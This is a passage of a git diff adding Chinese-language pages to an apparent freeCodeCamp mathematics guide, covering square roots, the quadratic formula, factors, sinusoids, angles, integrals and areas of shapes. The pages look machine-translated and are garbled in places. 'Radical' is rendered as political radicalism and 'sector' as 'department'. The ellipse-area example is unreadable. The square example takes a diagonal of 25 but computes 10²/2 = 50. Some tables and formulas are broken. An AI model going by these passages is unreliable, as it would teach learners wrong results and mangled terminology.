+    我们不能简化素数的平方根，因此最终答案： ![](https://latex.codecogs.com/gif.latex?\sqrt{180}&space;=&space;6\sqrt{5} "\ sqrt {180} = 6 \ sqrt {5}")
+
+### 示例：简化![](https://latex.codecogs.com/gif.latex?\sqrt{1750} "\ SQRT {1750}")
+
+解决步骤：
+
+*   将1750分为素数因子的乘积： ![](https://latex.codecogs.com/gif.latex?1750&space;=&space;2*7*5^3 "1750 = 2 * 7 * 5 ^ 3")
+*   使用激进的产品属性并不断分解结果： ![](https://latex.codecogs.com/gif.latex?\sqrt{ab}&space;=&space;\sqrt{a}\sqrt{b}&space;\Rightarrow&space;\sqrt{1750}&space;=&space;\sqrt{2}\sqrt{7}\sqrt{5^3}&space;=&space;\sqrt{2}\sqrt{7}\sqrt{5}\sqrt{5^2}&space;=&space;5\sqrt{2}\sqrt{7}\sqrt{5} "\ sqrt {ab} = \ sqrt {a} \ sqrt {b} \ Rightarrow \ sqrt {1750} = \ sqrt {2} \ sqrt {7} \ sqrt {5 ^ 3} = \ sqrt {2} \ sqrt { 7} \ sqrt {5} \ sqrt {5 ^ 2} = 5 \ sqrt {2} \ sqrt {7} \ sqrt {5}")  
+    现在再次使用产品属性来组合不可简化的基础： ![](https://latex.codecogs.com/gif.latex?5\sqrt{2}\sqrt{7}\sqrt{5}&space;=&space;5\sqrt{70} "5 \ sqrt {2} \ sqrt {7} \ sqrt {5} = 5 \ sqrt {70}")
+
+### 术语：
+
+以√49为例：
+
+*   “√”被称为**激进符号** 。
+*   49被称为**radicand** 。
+
+#### 更多信息：
+
+*   [Wikihow，简化平方根](https://www.wikihow.com/Simplify-a-Square-Root)
+*   [可汗学院](https://www.khanacademy.org/math/algebra/rational-exponents-and-radicals/alg1-simplify-square-roots/a/simplifying-square-roots-review)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/the-quadratic-formula/index.md b/client/src/guide/chinese/mathematics/algebra/the-quadratic-formula/index.md
new file mode 100644
index 0000000000..33dc8c33bb
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/the-quadratic-formula/index.md
@@ -0,0 +1,106 @@
+---
+title: The Quadratic Formula
+localeTitle: 二次方程式
+---
+## 二次方程式
+
+这是一个简单的公式，我们可以通过求解x的二次方程的基本表示得到：
+```
+      ax^2 + bx + c = 0 
+```
+
+其中a，b，c是系数占位符（或实数等式中的常数） 和x是需要找到值的变量。
+
+求解x，我们得到二次公式：
+```
+    x = (-b +- sqroot(b^2 - 4ac)) / (2a) 
+```
+
+这里以更**清晰的**方式表示： ![这里](https://wikimedia.org/api/rest_v1/media/math/render/svg/2a9804ca8ce019507e3199ca8fced800fb5b7d7c)
+
+### 该公式对寻找解决方案的影响：
+
+一目了然，我们可以得出实数域和范围中任何二次方程的一些陈述：
+
+将sqare根“b ^ 2 - 4ac”下的表达式视为E
+
+1.  如果E是正数，那么我们将有2个x解（方形属性）
+2.  如果E为零，那么x只有一个且只有一个解
+3.  如果E是负数，则x没有**真正的**解
+
+二次公式是求解二次方程的工具。二次方程是二次多项式方程。 二次多项式只是一个多项式，其中_x_的最高指数是2.以下是二次方程的例子。
+
+*   ![x^2-5x+6=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_integer_roots.png "示例二次方程")
+*   ![x^2+x-1=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_irrational_roots.png "示例二次方程")
+
+该公式仅适用于具有上述形式的方程式，其中多项式等于零。 通常，该公式适用于具有以下形式的方程：
+
+![ax^2+bx+c=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_equation.png "一般二次方程")
+
+其中_a_ ， _b_和_c_是多项式的系数。在这种情况下，等式将有解决方案：
+
+![quadratic formula](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_formula.png "二次公式")
+
+#### 例：
+
+假设您希望找到以下解决方案： ![x^2-5x+6=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_integer_roots.png "示例二次方程") ，然后通过将_a = 1，b = -5，c = 6_插入二次公式得到：
+
+*   _x = 2_ ，
+*   _x = 3_ 。
+
+#### 例：
+
+解决方案： ![x^2+x-1=0](https://github.com/jasonu/freecodecamp-images/blob/master/quadratic_irrational_roots.png "示例二次方程") 通过在二次方程式中设置_a = 1，b = 1，c = -1_来获得。这给出了两个不合理的解决方案或根源：
+
+*   _x =（ - 1 +√5）/ 2_ ，
+*   _x =（ - 1-√5）/ 2_ 。
+
+二次公式可用于找到任何二次方程的解，并且使用行列式可以确定存在多少解。其他方法，例如分解，绘图或完成方形，可以找到二次方程的解，但是在无法因子或图形的情况下，二次公式非常有用。
+
+将二次方程式写为：
+
+![ax ^ 2 + bx + c = 0](https://wikimedia.org/api/rest_v1/media/math/render/svg/70a0e43dfc81e6fea3be4fc96895a8f9ec2966ac/)
+
+（x是变量，而a，b和c是常量）
+
+二次公式为：
+
+![x = -b +/- sqrt（b ^ 2  -  4ac）遍布2a](https://wikimedia.org/api/rest_v1/media/math/render/svg/2a9804ca8ce019507e3199ca8fced800fb5b7d7c/)
+
+### 判别
+
+判别式是二次方程式中激进的一切。 ![b ^ 2  -  4ac](http://www.katesmathlessons.com/uploads/1/6/1/0/1610286/what-is-the-discriminant_orig.png/)
+
+如果判别式= 0，那么二次方只有一个解。在图形上，这表示放置在x轴上的顶点。
+
+如果判别式为正（> 0），则二次方具有两个实数解或根。这表示在两个位置与x轴相交的二次方。
+
+如果判别式为负（<0），则二次方没有实数解（两个虚解）。这是因为你不能取负数的平方根。从图形上看，这表示不通过x轴的功能。
+
+### 记忆
+
+通常，您需要记住二次公式。以下是一些有用的助记符设备：
+
+有几[首歌](https://www.youtube.com/watch?v=2lbABbfU6Zc/)可以提供帮助。
+
+此外，创建一个故事以记住二次公式有助于。例如：负面的男孩不确定（加或减）去激进党，但因为他是如此正方形，他错过了四个可怕的小鸡。派对在2Am处全部结束。
+
+### 常见错误：
+
+许多人忘记了操作顺序，并在将它乘以a和c之前减去4。
+
+另外，2a在整个事物的下面，而不仅仅是平方根。
+
+确保小心不要在计算过程中放下平方根或“正/负”。
+
+请记住，“b ^ 2”表示“所有b的平方，包括其符号”，所以不要让b ^ 2为负数。
+
+#### 更多信息：
+
+[二次公式解释](http://www.purplemath.com/modules/quadform.htm "二次公式解释")
+
+[维基百科 - 二次方程式](https://en.wikipedia.org/wiki/Quadratic_formula/)
+
+[紫色数学](http://www.purplemath.com/modules/quadform.htm/)
+
+[可汗学院](https://www.khanacademy.org/math/algebra/quadratics/solving-quadratics-using-the-quadratic-formula/a/quadratic-formula-explained-article/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/two-step-inequalities/index.md b/client/src/guide/chinese/mathematics/algebra/two-step-inequalities/index.md
new file mode 100644
index 0000000000..c3deb2a191
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/two-step-inequalities/index.md
@@ -0,0 +1,11 @@
+---
+title: Two Step Inequalities
+localeTitle: 两步不等式
+---
+## 两步不等式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/two-step-inequalities/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md b/client/src/guide/chinese/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md
new file mode 100644
index 0000000000..efeff16376
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertex and Axis of Symmetry of a Parabola
+localeTitle: 抛物线对称性的顶点和轴
+---
+## 抛物线对称性的顶点和轴
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/vertex-and-axis-of-symmetry-of-a-parabola/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/algebra/worked-example-two-step-equations/index.md b/client/src/guide/chinese/mathematics/algebra/worked-example-two-step-equations/index.md
new file mode 100644
index 0000000000..5e328750ca
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/algebra/worked-example-two-step-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Two Step Equations
+localeTitle: 工作示例两步方程
+---
+## 工作示例两步方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/algebra/worked-example-two-step-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/all-factors-of-a-number/index.md b/client/src/guide/chinese/mathematics/all-factors-of-a-number/index.md
new file mode 100644
index 0000000000..7fe4f1be4b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/all-factors-of-a-number/index.md
@@ -0,0 +1,67 @@
+---
+title: All Factors of a Number
+localeTitle: 一个数字的所有因素
+---
+## 一个数字的所有因素
+
+您可以将因子视为您乘以获得另一个数字的数字。
+
+![](https://upload.wikimedia.org/wikipedia/commons/e/e8/Factor_Tree_of_42.png)
+
+在这种情况下，2,3,6和7都是你可以乘以得到42的所有数字。因此，它们都是42的因子。但是，它们并不是42的所有因素。为了找到所有因素，我们可以使用算法或逐步下面的过程。
+
+从1开始。
+
+1 \* 42 = 42
+
+1 | ...... | 42 --- | --- | ---
+
+试试2。
+
+2 \* 21 = 42
+
+1 | 2 | ...... | 21 | 42 --- | --- | --- | --- | ---
+
+试试3。
+
+3 \* 14 = 42
+
+1 | 2 | 3 | ...... | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | ---
+
+试试4。
+
+没有整数可以乘以4得到42，所以我们跳过它。
+
+试试5。
+
+没有整数可以乘以5得到42，所以我们跳过它。
+
+试试6。
+
+6 \* 7 = 42
+
+1 | 2 | 3 | 6 | ...... | 7 | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | --- | --- | ---
+
+由于6到7之间没有整数，所以找到了所有积极因素。上面的所有数字都可以翻转，并且将继续成为42的因子。总之，42的所有因素都在下面。
+
+1 | 2 | 3 | 6 | 7 | 14 | 21 | 42 | -1 | -2 | -3 | -6 | -7 | -14 | -21 | -42 --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | ---
+
+## 确认因子数是否正确
+
+我们可以通过以下步骤快速确认我们已经确定了所有积极因素：
+
+1.  采用素数分解（由上面的树提供）
+
+2 1 \* 3 1 \* 7 \* 1
+
+2.  为每个指数添加一个：
+
+2的指数：1 + 1 = 2 3的指数：1 + 1 = 2 7的指数：1 + 1 = 2
+
+3.  上面的每个数字都是多个：
+
+2 \* 2 \* 2 = 8
+
+4.  确认42有8个因素：
+
+1 | 2 | 3 | 6 | ...... | 7 | 14 | 21 | 42 --- | --- | --- | --- | --- | --- | --- | --- | ---
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md b/client/src/guide/chinese/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md
new file mode 100644
index 0000000000..d6c2c86842
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/amplitude-and-period-of-sinusoidal-functions-from-equation/index.md
@@ -0,0 +1,30 @@
+---
+title: Amplitude and Period of Sinusoidal Functions from Equation
+localeTitle: 方程的正弦函数的幅度和周期
+---
+## 方程的正弦函数的幅度和周期
+
+正弦函数的**通用方程**是：
+
+![通用正弦方程](https://github.com/viso-gio/HostedImages/blob/master/GenericSinusoid.png?raw=true)
+
+其中_A_代表振荡的**幅度** ， _f_代表**频率** 。 _Phi_是**相位** ，与正弦曲线沿_x_轴移动的量相关联。 _Omega_是**角频率** ，表示振荡速率为每秒弧度。
+
+振荡**周期** _T_由下式给出：
+
+![期](https://github.com/viso-gio/HostedImages/blob/master/PeriodFormula.png?raw=true)
+
+常见的**替代形式**的正弦曲线是：
+
+![替代正弦方程](https://github.com/viso-gio/HostedImages/blob/master/AlternativeSinusoid.png?raw=true)
+
+在这种情况下， **幅度**计算如下：
+
+![替代振幅](https://github.com/viso-gio/HostedImages/blob/master/AlternativeAmplitude.png?raw=true)
+
+#### 更多信息：
+
+欲了解更多信息，请访问：
+
+*   [MathIsFun](https://www.mathsisfun.com/algebra/amplitude-period-frequency-phase-shift.html)
+*   [维基百科：正弦波](https://en.wikipedia.org/wiki/Sine_wave)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/amplitude-period-phase-shift-and-frequency/index.md b/client/src/guide/chinese/mathematics/amplitude-period-phase-shift-and-frequency/index.md
new file mode 100644
index 0000000000..e9ce4b06b0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/amplitude-period-phase-shift-and-frequency/index.md
@@ -0,0 +1,11 @@
+---
+title: Amplitude Period Phase Shift and Frequency
+localeTitle: 幅度周期相移和频率
+---
+## 幅度周期相移和频率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/amplitude-period-phase-shift-and-frequency/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/analytic-geometry-distance-formula/index.md b/client/src/guide/chinese/mathematics/analytic-geometry-distance-formula/index.md
new file mode 100644
index 0000000000..e06f84294f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/analytic-geometry-distance-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Analytic Geometry Distance Formula
+localeTitle: 解析几何距离公式
+---
+## 解析几何距离公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/analytic-geometry-distance-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/analytic-geometry-midpoint-formula/index.md b/client/src/guide/chinese/mathematics/analytic-geometry-midpoint-formula/index.md
new file mode 100644
index 0000000000..b6aff02b4a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/analytic-geometry-midpoint-formula/index.md
@@ -0,0 +1,11 @@
+---
+title: Analytic Geometry Midpoint Formula
+localeTitle: 解析几何中点公式
+---
+## 解析几何中点公式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/analytic-geometry-midpoint-formula/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/angles-acute-obtuse-straight-and-right/index.md b/client/src/guide/chinese/mathematics/angles-acute-obtuse-straight-and-right/index.md
new file mode 100644
index 0000000000..217e880431
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/angles-acute-obtuse-straight-and-right/index.md
@@ -0,0 +1,54 @@
+---
+title: Angles Acute Obtuse Straight and Right
+localeTitle: Angles Acute Obtuse Straight and Right
+---
+## 角度：急性，钝，直，右
+
+角度有四种类型，具体取决于它们的大小。这些是：
+
+*   直角
+*   直角
+*   锐角
+*   钝角
+
+### 直角
+
+直角是精确度为90°的角度。例如，正方形或矩形的角处的角度是直角。下面是一个直角的例子： ![直角的例子](https://user-images.githubusercontent.com/17547686/31929587-4f167f38-b8a5-11e7-8ee7-e76fc239e866.png)
+
+### 直角
+
+直角是精确度为180°的角度。例如，直线具有直角。直角的一个例子如下： ![直角的例子](https://user-images.githubusercontent.com/17547686/31929586-4efbd912-b8a5-11e7-8f43-5d73cca6e2eb.png)
+
+### 锐角
+
+锐角是具有小于90°的度量的角度。例如，大写字母“A”具有锐角。锐角的一个例子如下： ![屏幕截图2017-10-24 at 10 22 45](https://user-images.githubusercontent.com/17547686/31929585-4ee08266-b8a5-11e7-8af6-9860a8c46e67.png)
+
+### 钝角
+
+钝角是指测量角度大于90°但小于180°的角度。例如，显示5点钟的时钟具有钝角。钝角的一个例子如下： ![钝角的例子](https://user-images.githubusercontent.com/17547686/31929584-4ec4b216-b8a5-11e7-943d-ea74ce460f1b.png)
+
+### 例子
+
+#### 例1
+
+最大整数锐角的度量是多少？
+
+由于锐角是小于90°的角度，因此最大整数锐角将具有
+度量为89°。 
+
+#### 例2
+
+最小整数钝角的度量是多少？
+
+由于钝角是度量大于90°的角度，因此最小的整数钝角将具有
+度量为91°。 
+
+#### 例3
+
+大写字母“L”中角度的度量是多少，它的角度是什么？
+
+大写字母“L”中角度的度量是90°，角度是直角。 
+
+## 资料来源：
+
+所有图像均来自“角度类型评论”。 _可汗学院。_访问时间：2017年10月24日。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/antiderivatives-and-indefinite-integrals/index.md b/client/src/guide/chinese/mathematics/antiderivatives-and-indefinite-integrals/index.md
new file mode 100644
index 0000000000..05d23116e7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/antiderivatives-and-indefinite-integrals/index.md
@@ -0,0 +1,16 @@
+---
+title: Antiderivatives and Indefinite Integrals
+localeTitle: Antiderivatives和Indefinite Integrals
+---
+## Antiderivatives和Indefinite Integrals
+
+计算反导数并积分不定积分是同义词。 “不定”积分是在所有数值中考虑的积分，从-∞到+∞（即积分符号的上限或下限中没有数字）。
+
+积分计算特定曲线下的面积，该面积在被积函数中定义。不定内涵考虑无限多个无限小矩形的区域来计算粒子曲线下的面积。
+
+Antiderivatives和Indefinite Integrals的实际应用常见于物理学中，其中可以集成给定的速度来计算特定物体移动的距离（位移）。
+
+#### 更多信息：
+
+*   [关于Antiderivatives和Indefinite Integrals的有用文章](https://www.intmath.com/integration/2-indefinite-integral.php)
+*   [Wolfram | Alpha是可视化集成的有用工具](http://www.wolframalpha.com/calculators/integral-calculator/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-between-a-curve-and-the-x-axis/index.md b/client/src/guide/chinese/mathematics/area-between-a-curve-and-the-x-axis/index.md
new file mode 100644
index 0000000000..84725cd85c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-between-a-curve-and-the-x-axis/index.md
@@ -0,0 +1,21 @@
+---
+title: Area-between-a-curve-and-X-axis
+localeTitle: 区域之间-A-曲线和X轴
+---
+## 曲线和X轴之间的区域
+
+为了找到曲线和x轴之间的区域，最优选的工具是给定曲线的[明确积分](https://www.mathsisfun.com/calculus/integration-definite.html) 。
+
+为了找到x = a和x = b之间的曲线y = f（x）下面积，在a和b的极限之间积分y = f（x）。
+
+![IMG](https://upload.wikimedia.org/wikipedia/commons/f/f2/Integral_as_region_under_curve.svg)
+
+![IMG](https://latex.codecogs.com/gif.latex?%5Clarge%20S%20%3D%20%5Cint_%7Ba%7D%5E%7Bb%7D%20f%28x%29%20dx)
+
+## 一些例子
+
+注意：x轴下的区域将为负，x轴上方的区域将为正。这意味着在找到部分高于和部分低于x轴的区域时必须小心。
+
+#### 更多信息：
+
+*   [曲线下区域的互动课程](https://www.intmath.com/applications-integration/2-area-under-curve.php)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-circle/index.md b/client/src/guide/chinese/mathematics/area-of-a-circle/index.md
new file mode 100644
index 0000000000..b02af73f9b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-circle/index.md
@@ -0,0 +1,82 @@
+---
+title: Area of a Circle
+localeTitle: 圆的面积
+---
+## 圆的面积
+
+圆的面积是圆周长内的所有空间。
+
+如果'r'是圆的半径，则其面积用公式pi \* r 2计算，其中pi是数学常数。
+
+pi = 22/7 = 3.141592 ......
+
+A = pi \* r 2 ，r是圆的半径
+
+A = PI \* {d 2/4}，d是圆的直径，d = 2 \* R
+
+![ALT](http://areacircle.com/Area_of_a_circle_basics.png)
+
+圆的面积定义为由圆周围绕的空间。
+
+#### 术语
+
+圆周（C） - 圆的封闭边界称为圆的圆周。
+
+半径（r） - 从圆的边界/圆周上的任何点到圆的中心的线的长度称为圆的半径。
+
+直径（d） - 穿过圆心的圆的长度称为直径。
+
+Pi（ π ） - 一个近似为3.14的数学常数
+
+#### 式
+
+面积=π×r2
+
+###### 给定圆的半径
+
+圆的面积= π \* _半径_ 2
+
+###### 给定圆的直径
+
+我们知道`diameter = 2 * radius` ，所以你可以得到圆的面积如下，
+
+圆的面积= π \* _（直径/ 2）_ 2
+
+###### 给定圆的圆周
+
+我们知道圆周（C）， `C = 2 * π * (radius)` 。 由此，您可以导出圆的面积，如下所示，
+
+圆的面积= _C_ 2/4 \*π
+
+#### 例子
+
+1.  给定半径= 3cm，找到圆的面积
+    
+    面积= 3.14 \* 9 = 28.26 cm 2
+    
+2.  给定直径= 8cm，找到圆的面积
+    
+    半径=（直径/ 2）= 4cm
+    
+    面积= 3.14 \* 16 = 50.24 cm 2
+    
+3.  给定圆周= 25cm，找到圆的面积
+    
+    面积= 625 /（4 \* 3.14）= 49.76cm 2
+    
+
+一个“真实世界”的例子： -
+
+示例：Max正在建造房屋。第一步是钻孔并用混凝土填充。 这些洞的宽度为0.4米，深度为1米，每个孔的最大订购量应该是多少？
+
+孔是圆形的（横截面），因为它们是使用螺旋钻钻出的。 直径为0.4米，因此面积为： A =（π/ 4）×D2 A =（3.14159 ... / 4）×0.42 A = 0.7854 ......×0.16 A = 0.126平方米（小数点后3位） 这些洞深1米，所以： 体积= 0.126平方米×1米= 0.126立方米 所以Max应该订购0.126立方米的混凝土来填充每个洞。
+
+注意：Max可以通过以下方式估算面积：
+
+1.  计算方孔：0.4×0.4 = 0.16 m2
+2.  占80％（估计一个圆圈）：80％×0.16 m2 = 0.128 m2
+3.  并且1米深的孔的体积为：0.128立方米
+
+#### 更多信息
+
+有关插图的更多信息可以在[WikiHow](https://www.wikihow.com/Calculate-the-Area-of-a-Circle)中找到
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-ellipse/index.md b/client/src/guide/chinese/mathematics/area-of-a-ellipse/index.md
new file mode 100644
index 0000000000..2bb0a5c83f
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-ellipse/index.md
@@ -0,0 +1,30 @@
+---
+title: Area of an Ellipse
+localeTitle: 椭圆的面积
+---
+## 椭圆的面积
+
+椭圆是由连续曲线和两个焦点定义的2D形状。从焦点到曲线上任意点的两个距离之和是恒定的。
+
+#### 术语
+
+*   焦点或焦点 - 这些点与椭圆的中心等距
+*   主轴 - 绘制的线将椭圆切成两半并穿过两个焦点
+*   短轴 - 绘制的线将椭圆切成两半并在两个焦点之间运行
+
+![](https://jwolfgang.info/wp-content/uploads/2017/10/area-of-ellipse2.png)
+
+##### 式
+
+椭圆面积= （π） （1/2）（长轴）（1/2）（短轴）
+
+##### 例
+
+给定长轴= 2英寸，短轴=椭圆的查找区域中的7。
+
+面积=在\* 1/2 \* 7 \*π= 11 2 1/2×2
+
+#### 更多信息：
+
+*   [维基百科](https://en.wikipedia.org/wiki/Ellipse)
+*   [数学很有趣](https://www.mathsisfun.com/geometry/ellipse.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-parallelogram/index.md b/client/src/guide/chinese/mathematics/area-of-a-parallelogram/index.md
new file mode 100644
index 0000000000..735d1b41f7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-parallelogram/index.md
@@ -0,0 +1,19 @@
+---
+title: Area of a Parallelogram
+localeTitle: 平行四边形的面积
+---
+## 平行四边形的面积
+
+平行四边形是四边形图，其中相对的边和角度相等。它可以被认为是由两个相同的三角形组成，基部与基部相连。 ![替代文字](http://www.onemathematicalcat.org/Math/Geometry_obj/graphics/area_parallelogram.bmp)
+
+三角形的面积是`1/2 * base * height` ，平行四边形的面积是两个相同三角形的面积的相加。 因此，
+
+### 例
+
+考虑一个平行四边形，如图所示。 ![替代文字](http://www.proprofs.com/quiz-school/upload/yuiupload/812246308.jpg)
+
+因此，Area = 6 \* 2.5 = 15（m）^ 2
+
+#### 更多信息：
+
+有关详细信息，请访问[wiki](https://en.wikipedia.org/wiki/Parallelogram)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-rectangle/index.md b/client/src/guide/chinese/mathematics/area-of-a-rectangle/index.md
new file mode 100644
index 0000000000..550806a086
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-rectangle/index.md
@@ -0,0 +1,17 @@
+---
+title: Area of a Rectangle
+localeTitle: 矩形区域
+---
+## 矩形区域
+
+可以通过将两个垂直边的长度相乘来计算矩形的面积。
+
+`Area = axb`
+
+**例如** 对于a _\= 3_且_b = 4_的矩形
+
+`Area = axb = 3 x 4 = 12`
+
+#### 更多信息：
+
+*   [虚拟书呆子](http://virtualnerd.com/pre-algebra/perimeter-area-volume/perimeter-and-area/area-formulas-examples/rectangle-area-example)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-sector/index.md b/client/src/guide/chinese/mathematics/area-of-a-sector/index.md
new file mode 100644
index 0000000000..22962e5cbc
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-sector/index.md
@@ -0,0 +1,27 @@
+---
+title: Area of a Sector
+localeTitle: 部门面积
+---
+## 部门面积
+
+扇形是由两个半径和一个弧包围的圆的一部分，其中较小的区域被称为次要区域，较大的区域被称为主要区域。
+
+![Circle Sector](https://upload.wikimedia.org/wikipedia/commons/d/da/Circle_arc.svg "显示次要和主要部门的圆圈")
+
+绿色阴影部分。 _L_是弧长。 _θ_是以弧度表示的角度。 _r_是半径。
+
+**可以通过将圆的面积乘以角度_（θ°）_和_2π（360°）_的比率来获得扇区的面积，如下所示** ：
+
+A = \*πR2 \*（θ°/ 360）\*
+
+### 例：
+
+圆的半径为5厘米。当半径为60°时，计算扇区的面积。作为pi的近似值，我们将使用22/7。
+
+A = \*（22/7）\* 5 2 \*（60°/ 360°）\*
+
+A = **13.095 cm 2**
+
+#### 更多信息：
+
+*   [循环部门](https://en.wikipedia.org/wiki/Circular_sector)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-square/index.md b/client/src/guide/chinese/mathematics/area-of-a-square/index.md
new file mode 100644
index 0000000000..e81c0f682b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-square/index.md
@@ -0,0 +1,62 @@
+---
+title: Area of a Square
+localeTitle: 广场面积
+---
+## 广场面积
+
+正方形是具有相同边的四边形。
+
+正方形的面积可以从侧面的长度或从对角线的长度计算。
+
+![广场](https://github.com/viso-gio/HostedImages/blob/master/square.jpg?raw=true)
+
+如果_a_面已知：
+
+![公式1](https://github.com/viso-gio/HostedImages/blob/master/AreaSquare1.png?raw=true)
+
+如果对角线_d_已知：
+
+![Formula2](https://github.com/viso-gio/HostedImages/blob/master/AreaSquare2.png?raw=true)
+
+_a_侧和对角线_d_之间的关系是：
+
+![对角线](https://github.com/viso-gio/HostedImages/blob/master/DiagonalSquare.png?raw=true)
+
+### 术语
+
+对角线 - 距离正方形对角的距离。角落是90度。
+
+周长 - 正方形中四边​​长度的总和。四边相等的正方形。
+
+### 例子
+
+1.  给定方形的一边长度为8个单位：
+    
+    面积= 8 x 8 = 64单位2
+    
+2.  给定方形区域为100单位2 ：
+    
+    长度= √100 = 10个单位
+    
+3.  给定方形对角线为25个单位：
+    
+    面积= 10 2/2 = 50个单位2
+    
+4.  给定正方形的周长为20个单位：
+    
+    面积=（20/4） 2 = 25个单位2
+    
+
+找到给定周长的正方形区域：
+
+要找到给定周长的正方形区域，只需将给定的周长除以4.为什么4？因为正方形有四（4）个边。将它除以4可以得到一边的长度。现在说明已知的一方。平方，将其自身乘以一次。获得结果后，将其转换为平方单位;通过在答案中添加²。
+
+例：周长：20
+
+20/4 = 5 5 x 5 = 25 25 =25²
+
+#### 更多信息：
+
+*   [维基百科：广场](https://en.wikipedia.org/wiki/Square#Perimeter_and_area)
+*   [更多插图](https://www.wikihow.com/Find-the-Area-of-a-Square) -
+*   [更多](https://sciencing.com/area-square-using-its-perimeter-7991359.html) -
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-trapezium/index.md b/client/src/guide/chinese/mathematics/area-of-a-trapezium/index.md
new file mode 100644
index 0000000000..ffb74d825c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-trapezium/index.md
@@ -0,0 +1,15 @@
+---
+title: Area of a Trapezium
+localeTitle: 梯形区域
+---
+## 梯形区域
+
+梯形区域由梯形包围的2D空间定义。梯形是由两个相等或不等长度的相对平行边和两个相等或不等长度的相对非平行边的四边形。
+
+让平行边用'a'和'b'表示，这些平行边之间的垂直距离为'h' 然后 梯形面积= 1/2 \*（a + b）\* h
+
+这意味着梯形面积= 1/2 \*（平行边的总和）\*（平行边之间的垂直距离）。
+
+＃＃ 注意：
+
+通过将梯形划分为一系列三角形和矩形并最终分别添加它们的区域，也可以发现梯形区域。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-a-triangle/index.md b/client/src/guide/chinese/mathematics/area-of-a-triangle/index.md
new file mode 100644
index 0000000000..5ecc6ee9cf
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-a-triangle/index.md
@@ -0,0 +1,53 @@
+---
+title: Area of a Triangle
+localeTitle: 三角区
+---
+## 三角区
+
+三角形是三面二维多边形。确定区域有两种方法。
